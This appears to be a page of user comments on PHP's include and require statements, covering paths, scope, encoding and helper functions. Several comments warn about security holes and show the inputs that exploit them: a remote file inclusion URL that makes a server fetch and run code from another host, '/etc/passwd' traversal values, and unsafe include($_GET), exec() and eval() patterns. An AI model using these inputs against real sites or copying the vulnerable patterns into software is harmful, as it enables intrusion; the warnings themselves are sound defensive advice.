I was having problems with include/require (once or not). I created an include-opening.php which had the initial structure of the page, and then included this page in all other pages. The result was looking "crashed", so I did compare including or just pasting the html code into the page. The hardcoded version displayed ok, even with the source code being exactly the same.

So I opened the include file with notepad++ and set the encoding to UTF-8 (no BOM) and voila, everything is working great now.
randallgirard at hotmail dot com 14-Dec-2009 12:23
Heres a nifty little include function I whipped up utilizing extract and compact to post variables to and return from an include file (great for configurations, ex: DB connection info, or whatever else you can imagine). I'm using namespaces and keeping my function/class names simple, so you can rename the function to whatever you'd like.

<?php
# include function allowing variables to be posted to and returned from the target script
    function inc( $__path, $__return='.', array $__post=array() ) {
    # post var's to the local scope
        if ( count( $__post ) )
            extract($__post, EXTR_SKIP);
    # include the file and store the result
        if ( $__result = include $__path ) {
        # return requested variables from the included file
            if ( is_array($__return) )
                $result = compact($__return);
        # Return ALL variables defined from within the included file
        # NOTE: $__post keys are NOT included!
            else if ( $__return == '.' )
                $result = compact( array_diff( array_keys(get_defined_vars()),
                    array('GLOBALS', '__path', '__return', '__post', '__result')
                    + array_keys($__post) ) );
        # Is $__return a variable from the file?
            else if ( $__return && isset($$__return) )
                $result = array( $__return => $$__return );
            else
                $result = array();
        # unshift the include result into $result
            array_unshift($result, $__result);
            return $result;
        }
        return array($__result);
    }
?>
daevid at daevid dot com 20-Nov-2009 04:54
Well now, I am confused because these pages all show them as functions:
Include(), require(), require_once(), include_once()

Yet ALL of the examples show the PEAR way:
http://pear.php.net/manual/en/standards.including.php

"Note: include_once and require_once are statements, not functions. Parentheses should not surround the subject filename."

    include_once "a.php";

To change all require_once('foo.php'); to require_once 'foo.php' execute this:

cd /var/www/

find . -name '*.php' -print | xargs egrep -l \
'require_once\s*(\(.*\));'\ | xargs sed -i.sedorig -e \
's/require_once\s*(\(.*\));/require_once \1;/'

(thanks to Robert Hajime Lanning for that)

Then to remove all the ".php.sedorig" backup files execute this:

find . -name "*.php.sedorig" -type f -exec rm -rf {} \;
Chris Bell 12-Nov-2009 05:12
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
Anonymous 11-Nov-2009 11:35
I was having problems when HTTP headers were being sent before I was ready.  I discovered that this happened only when I was including a file at the top of my script.  Since my included file only contained PHP with no whitespace outside the tags, this behavior seemed incorrect.

The editor I was using was saving the files in UTF8 format, sometimes including the redundant Byte Order Mark at the beginning of the file.  Any Unicode-aware editor would implicitly hide the presence of the BOM from the user, making it hard to notice the problem.  However, by using a hex editor I was able to see and remove the three bytes, restoring normal behavior.

Moral:  Prevent your editor from adding an invisible Unicode Byte Order Mark to the beginning of your source code!
hyponiq at gmail dot com 02-Nov-2009 02:12
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot = null;

if (isset($_SERVER['DOCUMENT_ROOT'])) {
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];

    if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (strstr($documentRoot, '/')) {
            $documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (strstr($documentRoot, '\\')) {
            $documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

    if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
        $documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
        $documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
    /**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
    $directories = array(
        'Includes'
    );

    if (defined('__DIR__')) {
        $currentDirectory = __DIR__;
    }
    else {
        $currentDirectory = dirname(__FILE__);
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
    $currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

    foreach ($directories as $directory) {
        $currentDirectory = str_replace(
            DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
            DIRECTORY_SEPARATOR,
            $currentDirectory
        );
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
fkaufusi at gmail dot com 05-Oct-2009 06:43
here's another way to include your files.

<?php
function includeFile($file_name){

   $dir = array('./', 'lib/', 'db/', 'student/');    //<-- put here your website directory you want to include
   $level = array('', '/', '../', '../../');    //<-- you can add more deep level in this array
   $ini_path = array();

   foreach($dir as $p){

      foreach($level as $l){
         $file = $l.$p.$file_name;
         if(file_exists($file)){
            include_once($file);
            return;
         }
      }
   }
} //end function includeFile

includeFile('html.php');
includeFile('libpage.php');

?>
rjw201 at cam dot ac dot uk 04-Sep-2009 09:59
A even better security solution is to do the following:

$path = basename($page, 'php') . '.php';

if(file_exists($path)) include $path;

This will mean it will only load files with the ".php" extension in the current directory.

Eg $page = 'myfile.php' => 'myfile.php'
$page = '/etc/passwd' => 'passwd.php' => not found
$page = 'myfile.jpg' => 'myfile.jpg.php' => not found

Simple.

Richard
Anonymous 26-Apr-2009 02:59
Alot of people here in this section in the user contributed notes suggest using

<?php
@include('file.php');
?>

to suppress warnings. This is not a good idea as it will also turn off error reporting in the included file. If you want to turn off warnings should the include fail use one of the following.

<?php
$theme= "themefoldername";
//turn off warnings
error_reporting(E_ALL & ~E_WARNING);
if(!include('themes/'.$theme.'/index.php'))
{
  // file was missing so include default theme
  require('themes/default_theme/index.php');
}
// Turn on warnings
error_reporting(E_ALL);
?>

Or maybe this works better

<?php
if(file_exsists('themes/'.$theme.'/index.php'))
   include('themes/'.$theme.'/index.php');
else
   require('themes/default_theme/index.php');
?>

You decide.
johan 10-Dec-2008 05:47
If you wish to abstract away include calls inside functions, or programmatically juggle files to include using functions, just remember:

1. Declare any variables as global if you want those variables "included" in the global scope (ie. if they are used outside the file).

2. Functions are naturally global, so files that only contain functions (libs, sets of api's what have you) can be included anywhere.

eg.

<?php
function nav($i){
  include "nav$i.php";
}

nav(1);

// same as...
include "nav1.php";
// ...as long as variables are global
?>

So don't feel you can only include/require at the beginning of files, or outside/before functions. You can totally program any sophisticated include behavior.
snowyurik at gmail dot com 05-Nov-2008 10:49
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
Wade. 22-Oct-2008 08:20
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
AntonioCS at gmail dot com 26-Sep-2008 10:39
Include and Require will call the __autoload function if the file that is being called extends some other class

Example Code:
File teste.php
<?php
class teste extends motherclass {
    public function __construct() {
        parent::__construct();
    }
}
?>

File example.php

<?php
require("teste.php");

if (class_exists("motherclass"))
echo "It exists";

?>

You will be given the output:

It exists

I think the __autoload function should be called when I instantiate the teste class not when I include/require the file.
example at user dot com 21-Sep-2008 09:33
Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include '/some_image.jpg';
echo 'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
thedanevans at gmail dot com 20-Sep-2008 11:02
Linking to CSS/JavaScript resources through an included file has bugged me for a long time because if I have a directory structure like:
/www
    index.php
    /sub_dir
        index.php
    /includes
        header.php
    /style
        main.css

where both index.php files include header.php and the header.php file includes something like:

<link rel="stylesheet" type="text/css" href="style/main.css">

This will be included for /index.php but not for /sub_dir/index.php. I read through a few different ways to use relative includes but those are generally meant for the php include function not the HTML <link>. I didn't really love the idea of a new function that I would pass both the filename and a '../' string into which it could use in the href. I also didn't want to just use /style/main.css because in development it is not hosted in my root directory. Although I could change my configuration or my include_path I really just wanted to find a way for PHP to figure out the relative path for me. I finally found a solution that met my needs and here it is:

<?php
    $include_dist = substr_count(dirname(__FILE__), DIRECTORY_SEPARATOR);
    $calling_dist = substr_count(dirname($_SERVER['SCRIPT_FILENAME']), DIRECTORY_SEPARATOR);
?>
<link rel="stylesheet" type="text/css" href="<?=str_repeat('../', $calling_dist - $include_dist + 1)?>style/main.css">

In this case I added one to the difference to account for the fact that the include is one directory away from the base. This also means that str_repeat won't be passed a negative value, which would cause an error. dirname(__FILE__) gets the directory of the file being included while dirname($_SERVER['SCRIPT_FILENAME']) gets the directory of the file including it. The script simply finds the difference in how far off the base directory the two are and prints the appropriate number of '../' before the URL.

NOTE: dirname(__FILE__) can be replaced by __DIR__ in PHP greater than or equal to 5.3.0
rich dot lovely at klikzltd dot co dot uk 17-Jul-2008 01:20
I needed a way of include()ing a php page from a MySQL database.  It took some work, but
eventually I came up with this:

<?php
function include_text($text){
    while(substr_count($text, '<?php') > 0){             //loop while there's code in $text
        list($html, $text) = explode('<?php', $text, 2); //split at first open php tag
        echo $html;                                      //echo text before tag
        list($code, $text) = explode('?>', $text, 2);    //split at closing tag
        eval($code);                                     //exec code (between tags)
    }
    echo $text;                                          //echo whatever is left
}
?>

It doesn't work exactly the same as include(), as newlines after the '?>' tag are echoed, rather
than being discarded, but that's an exercise left to the reader to fix if they so desire, and
also globals defined within the included text are not available outside the function.

Not sure whether it would work with something like:

<?php if($x){ ?>
<p>Some HTML Output</p>
...
...
<?php }
else{ ?>
<p>Other HTML Output</p>
...
...
<?php } ?>

I rarely use that, but it's easy to re-write code to avoid it using HereDoc syntax, so the example above becomes:

<?php if($x){ echo <<<EOT
<p>Some HTML Output</p>
...
...
EOT;
}
else{ echo <<<EOT
<p>Other HTML Output</p>
...
...
EOT;
} ?>

Which would work with include_text()

It also won't work as-is with either asp-style or short tags.
huuanito 25-Jun-2008 10:34
When using includes with allow_url_include on in your ini beware that, when accessing sessions from included files, if from a script you include one file using an absolute file reference and then include a second file from on your local server using a url file reference that

they have different variable scope

and the same session will not be seen from both included files. The original session won't be seen from the url included file.

So:

main script:
<?php
session_start();
$_SESSION['count'] = 234;

echo "sid from script1".session_id();
include "/var/www/htdocs/file1";
include "http://yoursite/file2";
?>

file1
<?php
echo " **sid from file1: ".session_id();
echo " count from file1= ".$_SESSION['count'];
?>
echoes both a session id and the count

but file2
<?php
echo " **sid from file2: ".session_id();
echo " count from file2= ".$_SESSION['count'];
?>
echoes just the text, no session id and no count.
g4wx3 25-Jun-2008 06:52
Don't forget about the DIRECTORY_SEPARATOR constant.
No tricks needed to identify the OS;
just use it:

<?php include($folder.DIRECTORY_SEPARATOR.$file); ?>
*hint make a function
ricardo dot ferro at gmail dot com 14-May-2008 11:14
Two functions to help:

<?php

function add_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
        {
            trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
            continue;
        }

        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (array_search($path, $paths) === false)
            array_push($paths, $path);

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

function remove_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (($k = array_search($path, $paths)) !== false)
            unset($paths[$k]);
        else
            continue;

        if (!count($paths))
        {
            trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
            continue;
        }

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

?>
fernandoleal at drakecall dot com 12-May-2008 10:55
Like the manual says the includes gets all function and variable on global scope that
Includes errors so watch out if you disable display errors with @ because it also hides the included file errors, its kind of dumb :$ hehe but sometime you miss it when you want to prevent displaying errors.
This also applies to include_once, require and require_once.
Example
“index.php”
<?php
#Shows the error ‘Parse error: syntax error, unexpected T_VARIABLE in’
include(test.php);
#Doesn’t show the error
@include(test.php);
?>
“test.php”
<?php
$parse_error
?>
Rick Garcia 08-May-2008 09:38
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
uramihsayibok, gmail, com 24-Feb-2008 05:28
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (glob($pattern) as $file) { // remember the { and } are necessary!
        include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
slush puppie 24-Oct-2007 11:40
two little methods i wrote up that work on our IIS6 server. the first makes an alternate include call you can use to include things by calling them via their root location. the second method alters the include path so all include() calls are via the root location.

these are a compilation of a few methods i found here, but i think i made them a bit more modular. anyhow...

<?php
    ## MAKES A NEW FUNCTION CALLED rinclude() THAT INCLUDES
    ## A FILE RELATIVE TO THE ROOT DIRECTORY
    ## LEAVE include() UNTOUCHED SO IT CAN STILL BE USED AS NORMAL
    function rinclude($path){
        $levels = substr_count($_SERVER['PHP_SELF'],'/');
        $root = '';
        for($i = 1; $i < $levels; $i++){$root .= '../';}
        include($root . $path);
    }

    rinclude('file.inc.php'); // in root
    rinclude('dir/file.inc.php'); // in a subfolder
?>
<hr />
<?php
    ## SET INCLUDE TO ROOT DIRECTORY SO ALL include()
    ## CALLS WILL BE RELATIVE TO ROOT
    function setinclude(){
        $levels = substr_count($_SERVER['PHP_SELF'],'/');
        $root = '';
        for($i = 1; $i < $levels; $i++){$root .= '../';}
        set_include_path($root);
    }

    setinclude();
    include('file.inc.php'); // in root
    include('dir/file.inc.phpp'); // in a subfolder
?>
sbwoodside at yahoo dot com 07-Oct-2007 02:19
Here's a really simple solution to a common problem. Let's say you want to include files the way that apache does, relative to the document root (the root dir of your app). Independent of what server you are on, so that you don't have to specify an absolute path on your filesystem. At the top of your page put:

<?php set_include_path( get_include_path() . PATH_SEPARATOR . $_SERVER['DOCUMENT_ROOT'] ); ?>

Now anywhere you do an include you can do something like:

<?php include ( "Templates/header.inc") ?>

So, if your server files are in /var/www/mysite, this will include /var/www/mysite/Templates/header.inc when it's on your server. And if on your dev machine it's in /user/myname/mysite, it will include /user/myname/mysite/Templates/header.inc when it's on your dev machine.
twolfley at gmail dot com 30-Aug-2007 10:37
With a large system you might have lots of functions. I have noticed that this can produce large memory overhead, some of which can be alleviated by using includes in the following manner:

e.g.
<?php
function foo() {
  //some long block of code here producing $bar
  return $bar;
}
?>

can be rewritten as:
<?php
function foo() {
  return include "foo.php";
}
?>

where foo.php contains the following:
<?php
//long block of code producing $bar
return $bar;
?>

The result is the function's body does not get loaded into memory until the function is actually called.
alex carstea 26-Jul-2007 08:07
Since include() caused me many problems when i was trying to test my code, I wrote a small function. It receives as parameter the path to the file to include relative to the current file. The format similar to :
       "../../path/FileName.php"
The function returns the absolute path to the file to be included. This path can be used as argument to include() and resolves the problem of nested inclusions.
<?php
function getFilePath($relativePath){
     $absPath=dirname($_SERVER['SCRIPT_FILENAME']);

     $relativeArray=explode("/",$relativePath);
     $absArray=explode("/",$absPath);
     $upTokens=0;
     //count the number of ".." tokens that precede the path
     while(( $upTokens<count($relativeArray)) and ($relativeArray[$upTokens]=="..")) {
         $upTokens++;
     }
     // create the absolute path
     $filePath=$absArray[0];
     for ($i=1; $i< (count($absArray)-$upTokens);$i++) {
         $filePath.="/".$absArray[$i];
     }

     for ($i=$upTokens; $i< count($relativeArray);$i++){
         $filePath.="/".$relativeArray[$i];
     }
     return $filePath;
 }
?>
  Hope you will find it usefull....

  Alex
Cory Gagliardi 25-Jul-2007 11:22
Easy way to set $_GET values for local includes.

This is an easy way to make up fake URLs for SEO purposes that are really just running other PHP pages with special $_GET values.

This will NOT work:
<?PHP
include('communities.php?show=gated&where=naples');
?>

However, this will:
<?PHP
$_GET = array();
$_GET['show'] = 'gated';
$_GET['where'] = 'naples';
include('communities.php');
?>

Putting this on your page and nothing else will give the same result as going to
'communities.php?show=gated&where=naples'
but the URL can be whatever you want it to be.
php_notes (at) megaphone . ch 20-Jul-2007 04:28
If you use php >5.2, don't forget to set up the allow_url_include parameter in php.ini file .. If not you can search a long long long long time after this like-a-bug problem ;)

http://www.php.net/manual/en/ini.php
oasis1 at geocities dot com 29-Jun-2007 08:11
What a pain! I have struggled with including files from various subdirectories.  My server doesn't support an easy way to get to the root HTML directory so this is what I came up with:

<?php

$times = substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess = "";
$i = 1;

while ($i < $times) {
 $rootaccess .= "../";
 $i++;
}
include ($rootaccess."foo/bar.php");

?>

This will give you what it takes to get to the root directory, regardless of how many subdirectories you have traveled  through.
post-nospam at brucemiller dot co dot uk 04-Jun-2007 02:07
A very EASY way to get 'include' to find its way to another directory, other than setting the 'include path', and useful for fetching one or two files:

<?php include ($_SERVER['DOCUMENT_ROOT']."/foo/bar.php"); ?>

This creates an include that is relative to the root rather than the current directory.

The dot is for concatenation, not current directory, as with 'include path' syntax.

See Appendix M of Manual > Reserved words > Predefined Variables, for more info on $SERVER.
-hh- 23-Feb-2007 03:47
coldflame,
<?=$foo?> equals <? print $foo ?>
If 1 is not needed at the end, just use <? include($filename) ?> without the equal sign.
mbread at m-bread dot com 10-Feb-2007 09:23
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
Nathan Ostgard 19-Jan-2007 02:32
You can also use debug_backtrace to write a function that do the chdir automatically:

<?php
function include_relative($file)
{
    $bt = debug_backtrace();
    $old = getcwd();
    chdir(dirname($bt[0]['file']));
    include($file);
    chdir($old);
}
?>
anonymous 18-Jan-2007 01:49
When I'm dealing with a package that uses relative includes of its own, rather than modify all of their includes, I found it was easier to change PHP's working directory before and after the include, like so:

<?php
$wd_was = getcwd();
chdir("/path/to/included/app");
include("mainfile.php");
chdir($wd_was);
?>

This way neither my includes nor theirs are affected; they all work as expected.
vahe dot ayvazyan at googlemail dot com 10-Jan-2007 03:12
If you want the "include" function to work correctly with paths and GET parameters, try the following code:

<?php
    $_GET['param1'] = 'param1value';
    $_GET['param2'] = 'param2value';
    @include($_SERVER['DOCUMENT_ROOT'] . "/path1/path2/include.php");
?>

Then within your "include.php" use $_GET['param1'] and $_GET['param2'] to access values of parameters.

I spent several hours to figure this out.
Janci 16-Nov-2006 07:59
Please note that althought you can call a function that is DEFINED later in the code, you cannot call a function that is defined in a file which is INCLUDED later. Consider following two examples:

Example 1:
<?php
test();

function test()
{
  echo 'In test.';
}
?>

Example 2:
file1.php:
<?php
test();

include 'file2.php';
?>

file2.php:
<?php
function test()
{
  echo 'In test.';
}
?>

Please be aware that while the first example will work as expected, the second one will generate a fatal error "Call to undefined function: test() ...". The same is true for the require.
mlindal at pfc dot forestry dot ca 08-Aug-2006 08:33
If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.

Do this by:

Say the file to be included is 'newpubs.php'

and the main pages are either newpubs_e.php or newpubs_f.php

<?php
if($_SERVER[PHP_SELF]=="/newpubs.php")
    {
    header("Location: newpubs_e.php");
    exit;
    }
?>

Will send them to newpubs_e.php if they try to access newpubs.php directly.
medhefgo at googlemail dot com 27-May-2006 04:50
Because there is no quick way to check if a file is in include_path, I've made this function:

<?php

function is_includeable($filename, $returnpaths = false) {
    $include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));

    foreach ($include_paths as $path) {
        $include = $path.DIRECTORY_SEPARATOR.$filename;
        if (is_file($include) && is_readable($include)) {
            if ($returnpaths == true) {
                $includable_paths[] = $path;
            } else {
                return true;
            }
        }
    }

    return (isset($includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}

?>
cavarlier [at] hotmail [dot] com 22-Apr-2006 12:59
please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks
stalker at ruun dot de 10-Jan-2006 04:55
a simple function to recursively include e.g. the include-directory of your site and its subdirs:

<?php
function includeRecurse($dirName) {
    if(!is_dir($dirName))
        return false;
    $dirHandle = opendir($dirName);
    while(false !== ($incFile = readdir($dirHandle))) {
        if($incFile != "."
           && $incFile != "..") {
            if(is_file("$dirName/$incFile"))
                include_once("$dirName/$incFile");
            elseif(is_dir("$dirName/$incFile"))
                includeRecurse("$dirName/$incFile");
        }
    }
    closedir($dirHandle);
}
?>
Jesper Juhl 14-Aug-2005 08:14
If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.

Like this.

includefile.php
---
<?php
defined('_VALID_INCLUDE') or die('Direct access not allowed.');

/* rest of file */

?>

script.php
---
<?php
define('_VALID_INCLUDE', TRUE);
include('includefile.php');

/* rest of file */

?>
ignacio esviza 19-Jul-2005 02:10
Hi, there...

I've use this in order to grab the output from an include() but without sending it to the buffer.

Headers are not sent neither.

<?php
function include2($file){

    $buffer = ob_get_contents();
    include $file;
    $output = substr(ob_get_contents(),strlen($buffer));
    ob_end_clean();

    ob_start();
    echo $buffer;

    return $output;

}
?>
Ethilien 18-Jul-2005 12:04
Another way of getting the proper include path relative to the current file, rather than the working directory is:

<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
Berenguer Blasi 04-Jul-2005 06:07
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:

 - src
  - web
  - bo
 - lib
 - test
 - whatever

as the include path's behaviour is somehow strange.

The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:

<?php
$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH  = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);
?>

Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.

Just cross fingers you have permissions to change the server's include path.
17-May-2005 08:10
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.

e.g :

<?php
if(file_exists("includes/a.php"))
   include("includes/a.php")
?>

The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
morris.php <A T> it-solutions.org 28-Apr-2005 05:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.

This means the functions and (more importantly) classes included will NOT work.

for example:

<?php
include "http://example.com/MyInclude.php";
?>

would not give you access to any classes or functions within the MyInclude.php file.

to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
gillis dot php at TAKETHISAWAY dot gillis dot fi 14-Apr-2005 02:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.

So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.

<?php
function ChkInc($file){
   if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
   return true;
   }else{
   return false;
   }
}
?>

if someone else has a better solution, do post it...

Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.

//Gillis Danielsen
dragon at wastelands dot net 09-Dec-2004 04:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script.  E.g.

<?php include("/different/root/script.php"); ?>

And this file contains:
<?php echo __FILE__; ?>

The output is:
/different/root/script.php

Surprisingly useful :>  Obviously something like dirname(__FILE__) works just fine.
mattcimino at gardiners dot com 10-Aug-2004 05:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
durkboek A_T hotmail D_O_T com 03-Jun-2004 04:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
moosh at php dot net 15-Jan-2004 07:03
<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>

so "or" have prority on "include"
james at gogo dot co dot nz 09-Dec-2003 10:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
  function &x(&$y)
  {
    return include(dirname(__FILE__) . '/2.php');
  }

  $z = "FOO\n";
  $z2 = &x($z);

  echo $z2;
  $z  = "NOO\n";

  echo $z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/
david dot gaia dot kano at dartmouth dot edu 04-Dec-2003 01:13
I just discovered a "gotcha" for the behavior of include when using the command line version of php.

I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.

But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.

Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.

To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.

So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.

I hope this helps save someone else the hours it took me to figure out my problem!

David
php at mijav dot dk 19-Nov-2003 06:07
The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:

<?php
   // ignore the notice and evaluate the return value of the script, if any.
   if(@include(dirname(__FILE__)."/foo.php"))
      echo "foo.php included";
   else
      echo "failed to include foo.php";
?>
redeye at cs-aktuell dot de 08-Feb-2003 05:29
As to the security risks of an include statement like:

<?php
  include($page);
?>

This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like

<?php
  if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
    include($page);
?>

wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )

